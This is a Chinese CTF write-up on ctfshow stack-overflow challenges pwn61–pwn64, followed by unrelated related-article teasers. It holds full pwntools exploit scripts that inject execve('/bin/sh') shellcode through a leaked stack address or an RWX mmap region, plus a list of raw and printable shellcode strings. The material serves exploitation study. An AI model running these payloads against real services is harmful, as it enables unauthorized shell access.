ctfshow刷题笔记—栈溢出—pwn61~pwn64

目录

前言

一、pwn61(输出了什么?)

二、pwn62(短了一点)

三、pwn63(又短了一点)  

四、pwn64(有时候开启某种保护并不代表这条路不通)

五、一些shellcode

前言

这几道都是与shellcode有关的题,实在是不会写,还是试了试,记录一下,收集了一些shellcode。


一、pwn61输出了什么?

checksec 一下:

┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ checksec --file=pwn61
[*] '/home/kali/桌面/ctfshoww/pwn61'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        PIE enabled
    Stack:      Executable
    RWX:        Has RWX segments
Stripped:   No

开了地址随机化。

现在先看一下main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v4; // [sp+0h] [bp-10h]@1
  __int64 v5; // [sp+8h] [bp-8h]@1

  v4 = 0LL;
  v5 = 0LL;
  setvbuf(_bss_start, 0LL, 1, 0LL);
  logo();
  puts("Welcome to CTFshow!");
  printf("What's this : [%p] ?\n", &v4, 0LL, 0LL);
  puts("Maybe it's useful ! But how to use it?");
  gets(&v4);
  return 0;
}

主要是打印logo信息,值得注意的是会输出一个地址,查看一下v4:

0x10+x08,我们写入shellcode以后,通过返回v4的地址取让程序执行shellcode

本地运行一下:

Welcome to CTFshow!
What's this : [0x7ffdb824c790] ?
Maybe it's useful ! But how to use it?

v4ar=0x7ffd9de01430

一开始我就是这样写的:

from pwn import *
context.log_level='debug'
context.arch='amd64'
p=remote("pwn.challenge.ctf.show",28164)
pad=b'a'*(0x10+0x8)
v4ar=0x7ffdb824c790
shellcode=asm(shellcraft.sh())
payload1=pad+p64(v4ar)+shellcode
p.sendline(payload1)
p.interactive()

发现打不通,似乎忽略了一些东西,于是去读了大佬们的文章。

遇到的一个问题是shellcode太长,超出了v4,v5的范围,这是为什么呢?

Shellcode 的长度通常会超过 v5 的空间(8 字节)。如果直接覆盖 v5,Shellcode 的部分内容可能会被截断。此外,leave ret 之后,程序可能会跳转到一个无效地址,导致崩溃。

去搜索了一下leave

等价于 mov rsp, rbp 和 pop rbp。

它将 rbp 的值赋给 rsp,从而恢复上一个栈帧的栈指针。

然后从栈上弹出 rbp 的值,恢复上一个栈帧的基指针。

所以我们把shellcode写在v5后面就是pad+b’a’*0x8的位置,因为还有一个返回地址的位置.

还有就是输出的地址是动态的,每次不一样。

from pwn import *
context(arch="amd64",log_level="debug")
p=remote("pwn.challenge.ctf.show",28297)
pad=0x10+8
shellcode = asm(shellcraft.sh())
p.recvuntil("What's this : [")        
v5ar = eval(p.recvuntil(b"]",drop=True))    
#drop=True是为去掉"]"
#eval()是将str数据转为整型数据
print(hex(v5ar))
payload=flat([cyclic(pad),v5ar+pad+8,shellcode])
p.sendline(payload)
p.interactive()

注意返回地址v5的地址加pad+8,不是填充字符。


二、pwn62(短了一点)

checksec和上一道题差不多:

┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ checksec --file=pwn62
[*] '/home/kali/桌面/ctfshoww/pwn62'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        PIE enabled
    Stack:      Executable
    RWX:        Has RWX segments
Stripped:   No

也是地址随机化,提前运行的界面和上一道题差不多,会给一个地址。

拖进ida看一看。

看一下main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  FILE *v3; // rdi@1
  __int64 buf; // [sp+0h] [bp-10h]@1
  __int64 v6; // [sp+8h] [bp-8h]@1

  buf = 0LL;
  v6 = 0LL;
  v3 = _bss_start;
  setvbuf(_bss_start, 0LL, 1, 0LL);
  logo(v3, 0LL);
  puts("Welcome to CTFshow!");
  printf("What's this : [%p] ?\n", &buf, 0LL, 0LL);
  puts("Maybe it's useful ! But how to use it?");
  read(0, &buf, 0x38uLL);
  return 0;
}

看一下这个buf:

-0000000000000010 buf             dq ?
-0000000000000008 var_8           dq ?
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)

0x10+0x8

这里的shellcode是有限制的。

from pwn import *
context(arch="amd64",log_level="debug")
p=remote("pwn.challenge.ctf.show",28295)
offset=0x10+0x8
p.recvuntil("[")
buf_ar=eval(p.recvuntil(b"]",drop=True))
print(hex(buf_ar))
shellcode=b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05'
payload=offset*b'a'+p64(buf_ar+offset+8)+shellcode
p.sendline(payload)
p.interactive()


三、pwn63(又短了一点)  

checksec一下:

  [*] You have the latest version of Pwntools (4.14.0)
[*] '/home/kali/桌面/ctfshoww/pwn63'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        PIE enabled
    Stack:      Executable
    RWX:        Has RWX segments
Stripped:   No

开了地址随机化,拖进ida看一看和上一道题有什么区别。

确实有一些变化:

 puts("Maybe it's useful ! But how to use it?");
  read(0, &buf, 0x37uLL);

看一下buf

-0000000000000010 buf             dq ?
-0000000000000008 var_8           dq ?
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)

0x10+0x8

from pwn import *
context(arch="amd64",log_level="debug")
p=remote("pwn.challenge.ctf.show",28222)
offset=0x10+0x8
p.recvuntil("[")
buf_ar=eval(p.recvuntil(b"]",drop=True))
print(hex(buf_ar))
shell=b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05'
payload=offset*b'a'+p64(buf_ar+offset+8)+shell
p.sendline(payload)
p.interactive()


四、pwn64(有时候开启某种保护并不代表这条路不通)

有点意思,先checksec一下:

┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ checksec --file=pwn64
[*] '/home/kali/桌面/ctfshoww/pwn64'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
Stripped:   No

虽然开了栈不可执行,但是程序里有不一样的东西:

buf = mmap(0, 0x400u, 7, 34, 0, 0);

一开始我也不知道这是什么,查了一下:

mmap 是一个系统调用,用于创建一个内存映射区域。它通常用于以下场景:

·映射文件到内存,以便可以像访问内存一样访问文件内容。

·创建匿名内存区域,用于分配动态内存。

·共享内存,用于进程间通信。

根据之前学的知识,7(port参数)是可读可写的意思,所以,我们任然可以注入shellcode。

void* mmap(void* addr, size_t length, int prot, int flags, int fd, off_t offset);

0x400字节足够我们放下shellcode,总之试一试:

from pwn import *
p=remote("wn.challenge.ctf.show",28201)
shellcode=asm(shellcraft.sh())
payload=shellcode
p.sendline(payload)
p.interactive()

打通之后快些ls,因为有定时器,如果想更长一点可以加一段shellcode,但是用处不大,因为我也不太会写shellcode,所以问了问人机了解了一下:

from pwn import *
p=remote("wn.challenge.ctf.show",28201)
alarm_close=asm("""
    mov eax,37
    xor ebx,ebx
    int 0x80
""",arch='i386')
shellcode=asm(shellcraft.sh())
payload=alarm_close+shellcode
p.sendline(payload)
p.interactive()


五、一些shellcode

关于shellcode我也不会写,所以去搜了一些shellcode,一般情况下还是能用的。

不可见:

32位段字节shellcode(21字节)

\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80

64位较短的shellcode(23字节)

\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05

可见版本(由可见字符组成):

X64:

Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t

32位:

PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJTKV8MIPR2FU86M3SLIZG2H6O43SX30586OCRCYBNLIM3QBKXDHS0C0EPVOE22IBNFO3CBH5P0WQCK9KQXMK0AA

继续学习中......

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/980372.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

React Native 原理

React Native 是一个跨平台移动应用开发框架,它允许开发者使用 JavaScript 和 React 来开发 iOS 和 Android 原生应用。React Native 的核心原理是通过 桥接(Bridge) 技术,使用 JavaScript 来控制原生组件,并将应用逻辑…

SwiftUI之状态管理全解析

文章目录 引言一、`@State`1.1 基本概念1.2 初始化与默认值1.3 注意事项二、`@Binding`2.1 基本概念2.2 初始化与使用2.3 注意事项三、`@ObservedObject`3.1 基本概念3.2 初始化与使用3.3 注意事项四、`@EnvironmentObject`4.1 基本概念4.2 初始化与使用4.3 注意事项五、`@Stat…

win32汇编环境,窗口程序使用树形视图示例一

;运行效果 ;win32汇编环境,窗口程序使用树形视图示例一 ;树形视图控件Treeview,就是那种点击后,会展开的控件,类似于文件夹列表。这里展示了最基本的应用,纯文本模式的展开树形视图,同时获得选中项的内容 ;字体丑了点,这里主要解释原理了,懒得设置了。直接抄进RadAsm可编…

金融支付行业技术侧重点

1. 合规问题 第三方支付系统的平稳运营,严格遵循《非银行支付机构监督管理条例》的各项条款是基础与前提,其中第十八条的规定堪称重中之重,是支付机构必须牢牢把握的关键准则。 第十八条明确指出,非银行支付机构需构建起必要且独…

FPGA开发,使用Deepseek V3还是R1(8):FPGA的全流程(简略版)

以下都是Deepseek生成的答案 FPGA开发,使用Deepseek V3还是R1(1):应用场景 FPGA开发,使用Deepseek V3还是R1(2):V3和R1的区别 FPGA开发,使用Deepseek V3还是R1&#x…

车载以太网-基于linux的ICMP协议

对于车载以太网-ICMP的技术要求: /** ICMP报文格式解析* -----------------* ICMP协议用于网络诊断和错误报告,常见应用包括Ping测试。* ICMP报文结构包括:IP头部、ICMP头部和ICMP数据部分。* 下面详细介绍每个部分的结构、字段的作用以及如何解析它们。* * ICMP头部结构:*…

七星棋牌 6 端 200 子游戏全开源修复版源码(乐豆 + 防沉迷 + 比赛场 + 控制)

七星棋牌源码 是一款运营级的棋牌产品,覆盖 湖南、湖北、山西、江苏、贵州 等 6 大省区,支持 安卓、iOS 双端,并且 全开源。这个版本是 修复优化后的二开版本,新增了 乐豆系统、比赛场模式、防沉迷机制、AI 智能控制 等功能&#…

避坑!用Docker搞定PHP开发环境搭建(Mac、Docker、Nginx、PHP-FPM、XDebug、PHPStorm、VSCode)

本次更新主要是对环境版本进行了更新,例如php 7.3.7升级到了7.3.8,另外之前的版本有同学踩了坑,主要是官方docker镜像php:7.3.7-fpm和php:7.3.8-fpm使用了不同版本的debian,后面会提到,请各位同学留意。 因为最近换电脑…

【卫星语音通信】神经网络语音编解码算法:AudioDec

引言:低码率时代的语音革命 在偏远山区的蜂窝基站与卫星电话之间,在远洋货轮的应急通信频道里,清晰流畅的语音传输往往关乎生命财产安全。传统蜂窝通信(如4G VoLTE)和卫星通信系统(如海事卫星电话&#xf…

大数据学习(53)-Hive与Impala

&&大数据学习&& 🔥系列专栏: 👑哲学语录: 承认自己的无知,乃是开启智慧的大门 💖如果觉得博主的文章还不错的话,请点赞👍收藏⭐️留言📝支持一下博主哦&#x1f91…

【基于Raft的KV共识算法】-序:Raft概述

本文目录 1.为什么会有Raft?CAP理论 2.Raft基本原理流程为什么要以日志作为中间载体? 3.实现思路任期领导选举日志同步 1.为什么会有Raft? 简单来说就是数据会随着业务和时间的增长,单机不能存的下,这个时候需要以某种…

Redis---LRU原理与算法实现

文章目录 LRU概念理解LRU原理基于HashMap和双向链表实现LRURedis中的LRU的实现LRU时钟淘汰策略近似LRU的实现LRU算法的优化 Redis LRU的核心代码逻辑Redis LRU的核心代码逻辑Redis LRU的配置参数Redis LRU的优缺点Redis LRU的优缺点 LRU概念理解 LRU(Least Recentl…

【Java-黑马程序员】2024IDEA下载安装[ IntelliJ IDEA]

IDEA概述 IntelliJ IDEA – 用于 Pro Java 和 Kotlin 开发的 IDEhttps://www.jetbrains.com/idea/安装:傻瓜式安装,建议修改安装路径。 选择版本 Ultimate:功能全面,适合企业开发,需付费。 Community:免费,适合个人和小型项目。 选择适合你操作系统的版本 Windows版…

centos 下dockers部署surveyking-docker开源考试系统

下载初始化脚本,并自动部署至当前文件夹 https://raw.githubusercontent.com/xianyu-one/surveyking-docker/main/setup.sh -O setup.sh chmod x setup.sh bash setup.sh 手工部署 1:先卸载这些旧版本,以及关联的依赖项sudo yum remove docker docker-…

[3/11]C#性能优化-实现 IDisposable 接口-每个细节都有示例代码

[3]C#性能优化-实现 IDisposable 接口-每个细节都有示例代码 前言 在C#开发中,性能优化是提升系统响应速度和资源利用率的关键环节。 当然,同样是所有程序的关键环节。 通过遵循下述建议,可以有效地减少不必要的对象创建,从而减…

【deepseek第二课】docker部署dify,配置私有化知识库,解决网络超时,成功安装

【deepseek第二课】docker部署dify,配置私有化知识库,解决网络超时,成功安装 1. dify安装1.1 官网安装文档介绍1.2 安装报错,网络连接问题使用镜像加速器处理1.3 dify后台启动很多docker进程 2. 页面探索2.1 设置管理账号2.2 添加…

2025.3.2机器学习笔记:PINN文献阅读

2025.3.2周报 一、文献阅读题目信息摘要Abstract创新点网络架构实验结论不足以及展望 一、文献阅读 题目信息 题目: Physics-Informed Neural Networks of the Saint-Venant Equations for Downscaling a Large-Scale River Model期刊: Water Resource…

在C++中如何实现线程安全的队列

个人主页 : 个人主页 个人专栏 : 《数据结构》 《C语言》《C》《Linux》《网络》 《redis学习笔记》 文章目录 前言如何实现一个线程安全的队列思路应用场景代码实现总结 前言 在一次和豆包的模拟面试中,豆包问我:“在C中&#xf…

【网络安全 | 漏洞挖掘】利用文件上传功能的 IDOR 和 XSS 劫持会话

未经许可,不得转载。 本文涉及漏洞均已修复。 文章目录 前言正文前言 想象这样一个场景:一个专门处理敏感文档的平台,如保险理赔或身份验证系统,却因一个设计疏漏而成为攻击者的“金矿”。在对某个保险门户的文件上传功能进行测试时,我意外发现了一个可导致大规模账户接管…

[操作系统] 文件的软链接和硬链接

文章目录 引言硬链接(Hard Link)什么是硬链接?硬链接的特性硬链接的用途 软链接(Symbolic Link)什么是软链接?软链接的特性软链接的用途 软硬链接对比文件的时间戳实际应用示例使用硬链接节省备份空间用软链…